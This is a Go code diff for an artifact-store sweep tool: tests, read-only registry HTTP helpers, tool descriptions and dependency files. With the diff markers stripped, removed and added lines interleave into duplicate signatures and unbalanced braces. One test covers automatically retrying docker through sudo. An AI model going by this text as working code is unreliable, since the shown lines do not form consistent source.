l, err := ParseListing("#blobs\n12 blobs/sha256/ab/abcd/data\n#revisions\nrepositories/a/b/c/_manifests/revisions/sha256/ff/link\n#tags\nrepositories/a/b/c/_manifests/tags/v1/current/link:sha256:ff\n#end\n")
if err != nil {
t.Fatal(err)
}
if m := v.M[Key("app/server", d("idx"))]; m == nil || !reflect.DeepEqual(m.Children, []string{d("m-kept")}) {
t.Errorf("the index names %+v", m)
if l.Blobs["sha256:abcd"] != 12 {
t.Errorf("blobs %v", l.Blobs)
}
if m := v.M[Key("app/tools", d("h-kept"))]; !m.Holder() || m.Layers[0] != d("a-kept") {
t.Errorf("the holder of a-kept reads %+v", m)
r := l.Repos["a/b/c"]
if r == nil || !r.Revisions["sha256:ff"] || r.Tags["v1"] != "sha256:ff" {
t.Errorf("repository with slashes misread: %+v", r)
}
if _, held := v.L.Blobs[d("a-kept")]; !held || !v.Held[Key("app/tools", d("h-kept"))] {
t.Errorf("a-kept is not read as held by the store, or its hold is not read: %v", v.Held)
}
func TestACutListingIsRefused(t *testing.T) {
for _, out := range []string{"#blobs\n12 blobs/sha256/ab/abcd/data\n", "#blobs\nnot a line\n#end\n", "stray\n#end\n"} {
if _, err := ParseListing(out); err == nil {
t.Errorf("accepted %q", out)
}
}
if want := int64(len(f.manifests[d("m-old")])) + 10 + 1000 + 500; v.L.Blobs[d("m-old")] != want {
t.Errorf("m-old's size %d, want %d (its content and every blob it names)", v.L.Blobs[d("m-old")], want)
}
func TestTheMarkIsTheCollectorsIncludingAnIndexAndSharedBlobs(t *testing.T) {
v := view(t, world())
marked := v.Marked(nil)
for _, name := range []string{"cfg", "shared", "old-only", "stranger-layer", "a-kept", "a-old", "doc-body", "empty", "m-kept", "idx"} {
if !marked[d(name)] {
t.Errorf("%s not marked", name)
}
}
if freed, n := v.Unmarked(nil); freed != 0 || n != 0 {
t.Errorf("unmarked %d in %d before anything goes", freed, n)
if marked[d("orphan")] {
t.Error("a blob no manifest names is marked")
}
if freed, n := v.Unmarked(map[string]bool{Key("app/server", d("idx")): true}); freed != v.L.Blobs[d("idx")] || n != 1 {
t.Errorf("the index gone frees %d in %d, want its size", freed, n)
freed, n := v.Unmarked(nil)
if freed != 7000 || n != 1 {
t.Errorf("the collector frees %d in %d, want 7000 in 1", freed, n)
}
// The index alone gone frees its own content and nothing m-kept still marks.
_, n = v.Unmarked(map[string]bool{Key("app/server", d("idx")): true})
if n != 2 {
t.Errorf("without the index %d blobs unmarked, want 2 (orphan and the index itself)", n)
}
if sh := v.Shared(); !sh[d("empty")] || sh[d("cfg")] {
t.Error("shared misjudged")
}
}
@@ -250,15 +257,16 @@ func TestAStateThisBundleDoesNotKnowIsKept(t *testing.T) {
}
}
func TestBytesFreedAreTheSizesOfWhatGoes(t *testing.T) {
func TestBytesFreedCountASharedBlobAsKept(t *testing.T) {
v := view(t, world())
a := &CollectAnswer{DryRun: true, Eligible: 2, WouldLetGo: []string{
"artifact-store://app/server@" + d("m-old"), "artifact-store://app/tools/blobs/" + d("a-old")}}
out := Collected(v, a, true, nil)
now, after := out["collector_frees_now_bytes"].(int64), out["collector_frees_after_bytes"].(int64)
// m-old and the holder of a-old go, each with the size its seat says.
if want := v.L.Blobs[d("m-old")] + v.L.Blobs[d("h-old")]; now != 0 || after != want {
t.Errorf("now %d after %d, want 0 and %d", now, after, want)
// m-old's own content, old-only and a-old and its holder go; shared and cfg stay with m-kept.
want := int64(7000) + 500 + 4000 + v.L.Blobs[d("m-old")] + v.L.Blobs[d("h-old")]
if now != 7000 || after != want {
t.Errorf("now %d after %d, want 7000 and %d", now, after, want)
}
if out["manifests_gone"].(int) != 2 {
t.Errorf("gone %v", out["manifests_gone"])
@@ -269,7 +277,8 @@ func TestOnlyTheirBytesLeaveOutWhatAnotherStateMarks(t *testing.T) {
v := view(t, world())
entries := Classify(v, withFill(records()), nil)
sums := Summarise(v, entries, entries)
if el := sums[StateEligible]; el.OnlyTheirBytes != v.L.Blobs[d("m-old")] {
el := sums[StateEligible]
if el.OnlyTheirBytes != 500+v.L.Blobs[d("m-old")] {
t.Errorf("eligible only-theirs %d", el.OnlyTheirBytes)
}
}
@@ -386,7 +395,7 @@ func (a *asked) ask(key string, body any) (json.RawMessage, error) {
func tool(t *testing.T, a *asked, name string) func(map[string]any) (any, error) {
f := world()
s := &Store{Ask: f.ask(t)}
s := &Store{Container: "mesh-registry", Run: f.run(t)}
for _, tl := range Tools(s, recordsAsked{a}, &Catalogue{Ask: a.ask}) {
if tl.Name == name {
return tl.Run
@@ -440,7 +449,6 @@ func TestTheToolsServedAreTheToolsTheManifestNames(t *testing.T) {
Invokes []string `json:"invokes"`
Reads []string `json:"reads"`
Consumes []string `json:"consumes"`
Requires []any `json:"requires"`
Claims []struct {
Name string `json:"name"`
Serves []string `json:"serves"`
@@ -467,9 +475,7 @@ func TestTheToolsServedAreTheToolsTheManifestNames(t *testing.T) {
// CAT-AS1: what it holds and removes it asks the two registry seats the artifact store's holder serves.
want := []string{"seat:mesh-hand-acts.hand-act", CatalogueModules, CatalogueModule, WantsTool, ManifestsTool,
"seat:oci-artifact-registry.hold", "seat:oci-artifact-registry.release", "seat:oci-artifact-registry.remove",
"seat:container-image-registry.hold", "seat:container-image-registry.release", "seat:container-image-registry.remove",
// ADR 0632 §4: what the store holds it reads through the two seats' list.
"seat:container-image-registry.list", "seat:oci-artifact-registry.list"}
"seat:container-image-registry.hold", "seat:container-image-registry.release", "seat:container-image-registry.remove"}
if !reflect.DeepEqual(m.Invokes, want) {
t.Errorf("invokes %v", m.Invokes)
}
@@ -478,27 +484,16 @@ func TestTheToolsServedAreTheToolsTheManifestNames(t *testing.T) {
slices.Contains(m.Reads, WantsRead) || slices.Contains(m.Reads, ManifestsRead) {
t.Errorf("consumes %v, reads %v", m.Consumes, m.Reads)
}
// The operator, 2026-11-04 (issue 1966): it reaches the store through the registry seats' verbs, and requires no
// provision artifact-store.
if len(m.Requires) != 0 {
t.Errorf("requires %v, want nothing: the store is reached through the registry seats", m.Requires)
}
// Its address file is filled from the image seat holder's listen (ADR 0632 §1), never by the retired provision.
address, err := os.ReadFile("../../files/store-address")
if err != nil || strings.TrimSpace(string(address)) != "${seat:container-image-registry:reach}" {
t.Errorf("the store's address file reads %q (%v), want the image seat's reach", address, err)
}
var verbs []string
for _, tl := range SeatTools(&Holder{}, &Store{}) {
verbs = append(verbs, strings.TrimPrefix(tl.Name, sweep.Seat+"."))
verbs = append(verbs, strings.TrimPrefix(tl.Name, catalogue.ArtifactSweepSeat+"."))
}
catalogue.UseSeats(catalogue.SeatsFromDefinitions(seatlisttest.Definitions()))
seat, _ := catalogue.SeatNamed(sweep.Seat)
seat, _ := catalogue.SeatNamed(catalogue.ArtifactSweepSeat)
var contract []string
for _, v := range seat.Serves {
contract = append(contract, v.Name)
}
if len(m.Claims) != 1 || m.Claims[0].Name != sweep.Seat || !reflect.DeepEqual(m.Claims[0].Serves, verbs) ||
if len(m.Claims) != 1 || m.Claims[0].Name != catalogue.ArtifactSweepSeat || !reflect.DeepEqual(m.Claims[0].Serves, verbs) ||
!reflect.DeepEqual(verbs, contract) {
t.Errorf("claims %+v, serves %v, the seat's verbs %v", m.Claims, verbs, contract)
}
@@ -508,3 +503,25 @@ func TestTheToolsServedAreTheToolsTheManifestNames(t *testing.T) {
}
}
}
func TestASocketRefusalIsAskedAgainThroughSudo(t *testing.T) {
var ran []string
run := func(_ context.Context, name string, args ...string) Ran {
ran = append(ran, name)
if name == "docker" {
return Ran{Status: 1, Stderr: "permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock"}
}
return Ran{Stdout: "#end\n"}
}
if _, err := docker(context.Background(), run, 1000, "exec", "x"); err != nil {
t.Fatal(err)
}
if !reflect.DeepEqual(ran, []string{"docker", "sudo"}) {
t.Errorf("ran %v", ran)
}
if _, err := docker(context.Background(), func(context.Context, string, ...string) Ran {
return Ran{Status: 1, Stderr: "Error: No such container: mesh-registry"}
}, 1000, "exec"); err == nil || !strings.Contains(err.Error(), "not on this machine") {
t.Errorf("err %v", err)
}
}
@@ -14,25 +14,23 @@ import (
"fmt"
"strings"
"git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient"
meshconditions "git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshconditions"
artifactref "git.novox.be/novox/mesh-delivery/contracts/go/clients/containerimageregistryclient/reference"
ociseat "git.novox.be/novox/mesh-delivery/contracts/go/seats/ociartifactregistry"
ociseat "git.novox.be/novox/mesh-contracts/go/seats/ociartifactregistry"
"git.novox.be/novox/mesh-sdk/go/catalogue"
"git.novox.be/novox/mesh-sdk/go/health"
reg "git.novox.be/novox/mesh-delivery/contracts/go/seats/containerimageregistry"
reg "git.novox.be/novox/mesh-contracts/go/seats/containerimageregistry"
)
// SweepRefused is the sweep's finding: a seat refused a hold or a remove the sweep asked.
const SweepRefused = "sweep-refused"
// sweepFindingKey is the one key of the sweep's finding in the module's findings.
var sweepFindingKey = meshconditionsclient.Key(meshconditionsclient.ScopeModule, Module, SweepRefused)
var sweepFindingKey = health.FindingKey(health.ScopeModule, Module, SweepRefused)
// canonical is a kept reference in the older form, `artifact-store://<path>`, whichever form it came in; another is as
// it was.
func canonical(reference string) string {
path, kept := registryForms.InArtifactStore(reference)
path, kept := catalogue.InArtifactStore(reference)
if !kept {
return reference
}
@@ -42,7 +40,7 @@ func canonical(reference string) string {
// seatOf is the seat, name and digest a kept reference is held under: a bundle or an archive on oci-artifact-registry,
// an image or a copy of an upstream base on container-image-registry.
func seatOf(reference string) (seat, name, digest string, err error) {
path, kept := registryForms.InArtifactStore(reference)
path, kept := catalogue.InArtifactStore(reference)
if !kept {
return "", "", "", fmt.Errorf("%s is no reference into the mesh's registries", reference)
}
@@ -57,7 +55,7 @@ func seatOf(reference string) (seat, name, digest string, err error) {
// isCopy is whether a kept reference is a copy of an upstream base.
func isCopy(reference string) bool {
path, _ := registryForms.InArtifactStore(reference)
path, _ := catalogue.InArtifactStore(reference)
return strings.HasPrefix(path, "upstream/")
}
@@ -115,16 +113,16 @@ func (h *Holder) removeOnSeat(reference, why string) error {
// sweepFinding writes the sweep's finding: what the seat refused, and why.
func (h *Holder) sweepFinding(what string, err error) {
at := h.now().UTC()
f := meshconditions.FindingsByKeyValue{V: meshconditionsclient.FindingVersion, Key: sweepFindingKey, Kind: SweepRefused,
Subject: meshconditions.Subject{Scope: meshconditionsclient.ScopeModule, ID: Module},
Severity: meshconditionsclient.Warning, Resolver: meshconditionsclient.ResolverOperator,
f := health.Finding{V: health.FindingVersion, Key: sweepFindingKey, Kind: SweepRefused,
Subject: health.Subject{Scope: health.ScopeModule, ID: Module},
Severity: health.Warning, Resolver: health.ResolverOperator,
Summary: fmt.Sprintf("the artifact sweep stopped: a registry seat refused %s (the evidence names why)", what),
Headline: "The artifact sweep stopped",
Explanation: "The sweep keeps what the mesh still needs and removes the rest through the registry seats. A seat " +
"refused one of its asks, so it stopped before anything more was removed; what it kept stays kept.",
Needs: "read the seat holder's journal for the refusal; the next sweep asks again.",
Resolved: "Resolved: the artifact sweep ran through without a refusal",
Evidence: []meshconditions.Evidence{{At: at.UTC(), Said: fmt.Sprintf("%s: %v", what, err)}},
Evidence: []health.Evidence{{At: at, Said: fmt.Sprintf("%s: %v", what, err)}},
Source: "CAT-AS1", Observer: Module, At: at}
if werr := h.Bus.Put(FindingsState, sweepFindingKey, f); werr != nil {
h.logf("the sweep's finding (%s: %v) could not be written: %v", what, err, werr)
@@ -147,7 +145,3 @@ func keptWhy(r *Ref) string {
}
return "kept: " + strings.Join(r.Why, "; ")
}
// registryForms reads and routes a reference of the registry form, with the two registry seats' names from their contracts
// (the registry clients' reference forms, novox/hq ADR 0605 §9, ADR 0634 §4).
var registryForms = artifactref.Seats{Image: reg.Seat, Object: ociseat.Seat}
@@ -33,8 +33,7 @@ func TestEveryFileTakesItsTextFromATemplate(t *testing.T) {
t.Fatal(err)
}
var m struct {
Resources []map[string]any `json:"resources"`
Packages map[string]string `json:"packages"`
Resources []map[string]any `json:"resources"`
Build struct {
Artifacts []map[string]any `json:"artifacts"`
} `json:"build"`
@@ -42,10 +41,6 @@ func TestEveryFileTakesItsTextFromATemplate(t *testing.T) {
if err := json.Unmarshal(raw, &m); err != nil {
t.Fatal(err)
}
// The builder's keys are read through its published package, taken by its series (ADR 0634 §1).
if m.Packages["builds"] != "0.1" {
t.Errorf("packages %v: want builds of series 0.1", m.Packages)
}
for _, r := range m.Resources {
if _, inline := r["content"]; inline {
t.Errorf("resource %v keeps its text inline: keep it in files/ and name it as the template", r["id"])
@@ -27,9 +27,9 @@ func Tools(s *Store, c Recorded, cat *Catalogue) []stdio.Tool {
{
Name: "artifact_store_repositories",
Description: "Every repository the artifact store holds: its tags and what each names, how many manifests it holds " +
"(tagged or not — the mesh pins by digest, so most are untagged) and its size, each manifest's as its seat says it. " +
"A layer two manifests share is counted in each. Read through the registry seats' list (ADR 0632 §4); changes " +
"nothing. Replaces curl /v2/_catalog and /v2/<name>/tags/list. (r)",
"(tagged or not — the mesh pins by digest, so most are untagged) and its size, the blobs its manifests mark. " +
"A blob two repositories share is counted in each, and shared_bytes says how much of a size that is. Read from " +
"the store's own files; changes nothing. Replaces curl /v2/_catalog and /v2/<name>/tags/list. (r)",
Input: map[string]any{"repository": repoArg},
Run: func(args map[string]any) (any, error) {
v, err := s.View(ctx)
@@ -41,9 +41,9 @@ func Tools(s *Store, c Recorded, cat *Catalogue) []stdio.Tool {
},
{
Name: "artifact_store_usage",
Description: "How large the artifact store is: every manifest's size together, as its seat says it (a layer two " +
"manifests share is counted in each), and the largest repositories. Read through the registry seats' list (ADR " +
"0632 §4); changes nothing. Replaces du on the store's directory. (r)",
Description: "How large the artifact store is: every blob's bytes together, the largest repositories, the bytes " +
"more than one repository's manifests mark, and the bytes no manifest marks — what the store's nightly collector " +
"frees next. Read from the store's own files; changes nothing. Replaces du on the store's directory. (r)",
Input: map[string]any{"top": map[string]any{"type": "integer", "description": "how many of the largest repositories to name (default 10, at most 200)"}},
Run: func(args map[string]any) (any, error) {
top, err := count(args, "top", 10, 1, 200)
@@ -139,6 +139,16 @@ func Tools(s *Store, c Recorded, cat *Catalogue) []stdio.Tool {
}
}
// View reads the store now.
func (s *Store) View(ctx context.Context) (*View, error) {
l, err := s.List(ctx)
if err != nil {
return nil, err
}
m, unread := s.Manifests(ctx, l)
return &View{L: l, M: m, Unread: unread}, nil
}
// unreadNote says what manifests that could not be read do to the numbers, when there are any.
func unreadNote(v *View) map[string]any {
if len(v.Unread) == 0 {
@@ -4,15 +4,13 @@ import (
"sort"
)
// View is the store at one moment, as its seats list it (listed.go).
// View is the store at one moment: its files, and every manifest's content that could be read.
type View struct {
L *Listing
// M is each manifest read, by Key.
M map[string]*Manifest
// Unread is each manifest that could not be read, by Key, with why.
Unread map[string]string
// Held is each manifest a hold on its seat keeps from retention, by Key.
Held map[string]bool
}
// Marks are the blobs one manifest keeps from the store's collector: its own content, its
@@ -1 +1 @@
${seat:container-image-registry:reach}
${seat:mesh-artifact-store:reach}
+5 -17
View File
@@ -3,25 +3,15 @@ module artifactstoretools
go 1.26.0
require (
git.novox.be/novox/mesh-contracts/go/clients/nodeengineclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/go/seats/nodeengine v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshconditionsclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/clients/meshhandactsclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshconditions v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-contracts/health-and-repair/go/seats/meshhandacts v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/clients/containerimageregistryclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/clients/meshcatalogclient v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/containerimageregistry v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/meshartifactsweep v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/meshcatalog v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/meshwants v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/contracts/go/seats/ociartifactregistry v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-delivery/modules/mesh-delivery-builder/builds v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
github.com/nats-io/nats.go v1.54.0
)
require git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 // indirect
require (
git.novox.be/novox/mesh-contracts/go/seats/containerimageregistry v0.0.0-20261104174344-ae5266e77639
git.novox.be/novox/mesh-contracts/go/seats/ociartifactregistry v0.0.0-20261104174344-ae5266e77639
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op // indirect
github.com/google/go-tpm v0.9.8 // indirect
github.com/klauspost/compress v1.20.1 // indirect
@@ -34,5 +24,3 @@ require (
golang.org/x/sys v0.48.0 // indirect
golang.org/x/time v0.16.0 // indirect
)
require git.novox.be/novox/mesh-delivery/sdk v0.0.0-00010101000000-000000000000 // indirect
+8
View File
@@ -1,3 +1,11 @@
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639 h1:Zt7CfWt2S2W/fVgWNyW2u2+xwz051LXvGxVTNIyfhdM=
git.novox.be/novox/mesh-contracts/go v0.0.0-20261104174344-ae5266e77639/go.mod h1:0dD1XEJBJ0G5UYDQxSZI84nuujb6m3tOpJl4C8rQVvg=
git.novox.be/novox/mesh-contracts/go/seats/containerimageregistry v0.0.0-20261104174344-ae5266e77639 h1:5HeZzk6tKzcSwVivD3IcIvQ/2WIvysZvNvNKyq/oIBA=
git.novox.be/novox/mesh-contracts/go/seats/containerimageregistry v0.0.0-20261104174344-ae5266e77639/go.mod h1:pPxwhTMb3hIk7UUrBicJnGQCqfTEoBGJvNFspEK2U18=
git.novox.be/novox/mesh-contracts/go/seats/ociartifactregistry v0.0.0-20261104174344-ae5266e77639 h1:+bkN8op2yrAlBYrOB+hYnIoIZkbjXsNmc/4//uMnL4E=
git.novox.be/novox/mesh-contracts/go/seats/ociartifactregistry v0.0.0-20261104174344-ae5266e77639/go.mod h1:ooQa2CiP8JOvhP0bdQvwurV5wskRE7Cm68ecURBbCwU=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f h1:jDsfDMd48MXY9Zershc3eRxnhmx2sSpUfQkLq5jAIds=
git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f/go.mod h1:08OomDXdwVN8/87nyDtv5R3rH/6LoP8SFFXz30bTYCM=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op h1:1BOWQJweNyvZMlpAHXGLiZQn9S+QXGcz3xh94lC0w6E=
github.com/antithesishq/antithesis-sdk-go v0.8.0-default-no-op/go.mod h1:FQyySiasQQM8735Ddel3MRojmy4dA1IqCeyJ5jmPMbI=
github.com/google/go-tpm v0.9.8 h1:slArAR9Ft+1ybZu0lBwpSmpwhRXaa85hWtMinMyRAWo=
@@ -0,0 +1,76 @@
package registry
import (
"context"
"fmt"
"net/http"
"strconv"
"time"
)
// blobSize is how large the store says a blob is; Gone when it does not have it.
func (s Store) blobSize(ctx context.Context, repository, digest string) (int64, error) {
request, err := http.NewRequestWithContext(ctx, http.MethodHead, s.url(repository, "blobs", digest), nil)
if err != nil {
return 0, err
}
response, err := s.client().Do(request)
if err != nil {
return 0, fmt.Errorf("cannot reach the artifact store at %s: %w", s.Address, err)
}
defer response.Body.Close()
switch response.StatusCode {
case http.StatusOK:
case http.StatusNotFound:
return 0, Gone
default:
return 0, fmt.Errorf("the artifact store answered %s for %s/blobs/%s", response.Status, repository, digest)
}
// Read from the header rather than ContentLength: a HEAD's ContentLength is what the response
// says it would have sent, which Go reports faithfully, but a proxy in between is free to drop
// it, and the header is what the registry itself wrote.
if length := response.Header.Get("Content-Length"); length != "" {
if n, err := strconv.ParseInt(length, 10, 64); err == nil && n >= 0 {
return n, nil
}
}
if response.ContentLength >= 0 {
return response.ContentLength, nil
}
return 0, fmt.Errorf("the artifact store holds %s/blobs/%s and will not say how large it is", repository, digest)
}
// has is whether the store answers 200 for a HEAD at that URL.
func (s Store) has(ctx context.Context, url string, accept ...string) (bool, error) {
request, err := http.NewRequestWithContext(ctx, http.MethodHead, url, nil)
if err != nil {
return false, err
}
for _, media := range accept {
request.Header.Add("Accept", media)
}
response, err := s.client().Do(request)
if err != nil {
return false, fmt.Errorf("cannot reach the artifact store at %s: %w", s.Address, err)
}
defer response.Body.Close()
switch response.StatusCode {
case http.StatusOK:
return true, nil
case http.StatusNotFound:
return false, nil
default:
return false, fmt.Errorf("the artifact store answered %s for %s", response.Status, url)
}
}
func (s Store) url(repository, kind, digest string) string {
return "http://" + s.Address + "/v2/" + repository + "/" + kind + "/" + digest
}
func (s Store) client() *http.Client {
if s.HTTP != nil {
return s.HTTP
}
return &http.Client{Timeout: 30 * time.Second}
}
@@ -0,0 +1,140 @@
// Package registry reads the mesh's artifact store over its own door: whether it holds what a reference names, and
// whether a manifest is an index. It writes nothing: what the artifact sweep holds and removes it asks the registry
// seats the store's holder serves (CAT-AS1, novox/hq ADR 0617 §2).
package registry
import (
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"strings"
"git.novox.be/novox/mesh-sdk/go/catalogue"
)
// Store is the artifact store at an address, as this machine reaches it.
type Store struct {
// Address is `host:port` — the store as the caller reaches it now, composed and never
// recorded (novox/hq 04-ISSUES/102).
Address string
// HTTP is the client used; nil is a client with a modest timeout.
HTTP *http.Client
}
// Gone is the answer when the store does not hold it: the outcome wanted, already true.
var Gone = errors.New("the store does not hold it")
// ErrNotOurs is a reference this sweep will not address: not the mesh's own, or naming nothing
// the store holds by digest.
//
// **A fact about the record, not about the store** (novox/hq issue 226). The two deserve opposite
// responses — skip one and go on, abandon the sweep for the other — and collapsing them into "an
// error" is how a cautious loop became one that did nothing while reporting the right number.
var ErrNotOurs = errors.New("not a reference into the mesh's artifact store")
// anyManifest is every manifest the store may hold, indexes included, so it answers with the
// document as it is.
var anyManifest = []string{
"application/vnd.oci.image.index.v1+json",
"application/vnd.docker.distribution.manifest.list.v2+json",
"application/vnd.oci.image.manifest.v1+json",
"application/vnd.docker.distribution.manifest.v2+json",
}
// Platforms is the manifests an index names, by digest; none for a manifest that is not an index.
// Gone when the store does not hold it.
func (s Store) Platforms(ctx context.Context, repository, digest string) ([]string, error) {
request, err := http.NewRequestWithContext(ctx, http.MethodGet, s.url(repository, "manifests", digest), nil)
if err != nil {
return nil, err
}
request.Header.Set("Accept", strings.Join(anyManifest, ", "))
response, err := s.client().Do(request)
if err != nil {
return nil, err
}
defer response.Body.Close()
switch response.StatusCode {
case http.StatusOK:
case http.StatusNotFound:
return nil, Gone
default:
return nil, fmt.Errorf("the artifact store answered %s when asked for %s@%s", response.Status, repository, digest)
}
var document struct {
Manifests []struct {
Digest string `json:"digest"`
} `json:"manifests"`
}
if err := json.NewDecoder(io.LimitReader(response.Body, 4<<20)).Decode(&document); err != nil {
return nil, fmt.Errorf("%s@%s is not a manifest: %w", repository, digest, err)
}
var out []string
for _, m := range document.Manifests {
if strings.HasPrefix(m.Digest, "sha256:") {
out = append(out, m.Digest)
}
}
return out, nil
}
// split reads a recorded path into the repository, which endpoint names the thing, and the digest.
//
// Two shapes, which are the two the mesh records: `<repository>@sha256:<hex>` is a manifest, and
// `<repository>/blobs/sha256:<hex>` is a blob.
func split(path string) (repository, kind, digest string, err error) {
if before, after, ok := strings.Cut(path, "@sha256:"); ok {
return before, "manifests", "sha256:" + after, nil
}
if before, after, ok := strings.Cut(path, "/blobs/sha256:"); ok {
return before, "blobs", "sha256:" + after, nil
}
return "", "", "", fmt.Errorf("%w: %q names nothing the store holds by digest", ErrNotOurs, path)
}
// IsIndex is whether a recorded reference is an index the store holds: one that names manifests. A
// blob, or a manifest that names none, is not. Gone when the store does not hold it.
func (s Store) IsIndex(ctx context.Context, reference string) (bool, error) {
path, ours := catalogue.InArtifactStore(reference)
if !ours {
return false, fmt.Errorf("%w: %s", ErrNotOurs, reference)
}
repository, kind, digest, err := split(path)
if err != nil || kind != "manifests" {
return false, err
}
children, err := s.Platforms(ctx, repository, digest)
return len(children) > 0, err
}
// Holds is whether the store holds what a recorded reference names: the blob of an archive, the manifest of an image.
// Gone when it does not; asks and changes nothing (ADR 0526 clause 3: a registration by hand is refused at bytes that
// are not there).
func (s Store) Holds(ctx context.Context, reference string) error {
path, ours := catalogue.InArtifactStore(reference)
if !ours {
return fmt.Errorf("%w: %s", ErrNotOurs, reference)
}
repository, kind, digest, err := split(path)
if err != nil {
return err
}
if s.Address == "" {
return fmt.Errorf("this mesh has no artifact store on its network to ask about %s", reference)
}
if kind == "blobs" {
_, err := s.blobSize(ctx, repository, digest)
return err
}
held, err := s.has(ctx, s.url(repository, kind, digest), anyManifest...)
if err != nil {
return err
}
if !held {
return Gone
}
return nil
}
@@ -0,0 +1,76 @@
package registry
import (
"context"
"errors"
"net/http"
"net/http/httptest"
"strings"
"testing"
"git.novox.be/novox/mesh-sdk/go/catalogue"
)
// The store's door is read only (CAT-AS1: what the sweep holds and removes it asks the registry seats): Holds says
// whether the store holds what a reference names, in either reference form, IsIndex whether it is an index; a reference
// that is not the mesh's own is never asked. A fake store answers by path and records what it was asked.
func TestTheDoorReadsWhatTheStoreHoldsAndWritesNothing(t *testing.T) {
const index = `{"mediaType":"application/vnd.oci.image.index.v1+json","manifests":[{"digest":"sha256:c1"}]}`
const image = `{"mediaType":"application/vnd.oci.image.manifest.v1+json","layers":[]}`
var asked []string
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
asked = append(asked, r.Method+" "+r.URL.Path)
switch r.URL.Path {
case "/v2/web/app/manifests/sha256:abc", "/v2/web/files/blobs/sha256:def":
if r.Method == http.MethodGet {
_, _ = w.Write([]byte(image))
} else {
w.Header().Set("Content-Length", "7")
}
case "/v2/web/app/manifests/sha256:idx":
if r.Method == http.MethodGet {
_, _ = w.Write([]byte(index))
}
default:
w.WriteHeader(http.StatusNotFound)
}
}))
defer srv.Close()
store := Store{Address: strings.TrimPrefix(srv.URL, "http://")}
ctx := context.Background()
for name, c := range map[string]struct {
reference string
holds error // nil, Gone or ErrNotOurs
index bool
}{
"an image": {reference: catalogue.ArtifactStoreScheme + "web/app@sha256:abc"},
"an image in the seat's form": {reference: catalogue.SeatReference("container-image-registry", "web", "app", "sha256:abc")},
"an archive": {reference: catalogue.ArtifactStoreScheme + "web/files/blobs/sha256:def"},
"an archive in the seat's form": {reference: catalogue.SeatReference("oci-artifact-registry", "web", "files", "sha256:def")},
"an index": {reference: catalogue.ArtifactStoreScheme + "web/app@sha256:idx", index: true},
"an image the store lacks": {reference: catalogue.ArtifactStoreScheme + "web/app@sha256:999", holds: Gone},
"an archive the store lacks": {reference: catalogue.ArtifactStoreScheme + "web/files/blobs/sha256:999", holds: Gone},
"another registry's image": {reference: "docker.io/library/alpine@sha256:abc", holds: ErrNotOurs},
"a reference naming no digest": {reference: catalogue.ArtifactStoreScheme + "web/app:latest", holds: ErrNotOurs},
} {
t.Run(name, func(t *testing.T) {
asked = nil
if err := store.Holds(ctx, c.reference); !errors.Is(err, c.holds) && (err != nil || c.holds != nil) {
t.Errorf("Holds = %v, want %v", err, c.holds)
}
if c.holds == nil {
if got, err := store.IsIndex(ctx, c.reference); err != nil || got != c.index {
t.Errorf("IsIndex = %v, %v, want %v", got, err, c.index)
}
}
for _, a := range asked {
if !strings.HasPrefix(a, "HEAD ") && !strings.HasPrefix(a, "GET ") {
t.Errorf("the door asked %s: it writes nothing", a)
}
}
if errors.Is(c.holds, ErrNotOurs) && len(asked) != 0 {
t.Errorf("a reference that is not the mesh's own was asked: %v", asked)
}
})
}
}
+5 -6
View File
@@ -1,9 +1,6 @@
{
"module": "artifact-store-tools",
"version": "1",
"packages": {
"builds": "0.1"
},
"claims": [
{
"name": "mesh-artifact-sweep",
@@ -17,6 +14,9 @@
]
}
],
"requires": [
"artifact-store"
],
"invokes": [
"seat:mesh-hand-acts.hand-act",
"seat:mesh-catalog.modules",
@@ -28,9 +28,7 @@
"seat:oci-artifact-registry.remove",
"seat:container-image-registry.hold",
"seat:container-image-registry.release",
"seat:container-image-registry.remove",
"seat:container-image-registry.list",
"seat:oci-artifact-registry.list"
"seat:container-image-registry.remove"
],
"reads": [
"mesh-delivery-builder.builds",
@@ -98,6 +96,7 @@
"artifact-store-tools"
],
"env": {
"MESH_ARTIFACT_STORE_CONTAINER": "mesh-registry",
"MESH_ARTIFACT_STORE_NAMES_FILE": "${dir:state}/store-names",
"MESH_ARTIFACT_STORE_ADDRESS_FILE": "${dir:state}/store-address"
}
+1 -1
View File
@@ -2,7 +2,7 @@ module asuszephyrusg14
go 1.26.0
require git.novox.be/novox/mesh-sdk/go v0.0.0-00010101000000-000000000000
require git.novox.be/novox/mesh-sdk/go v0.1.14-0.20261104174359-05b3e2e1b94f
require (
github.com/klauspost/compress v1.20.1 // indirect
+4
View File
@@ -1,3 +1,7 @@
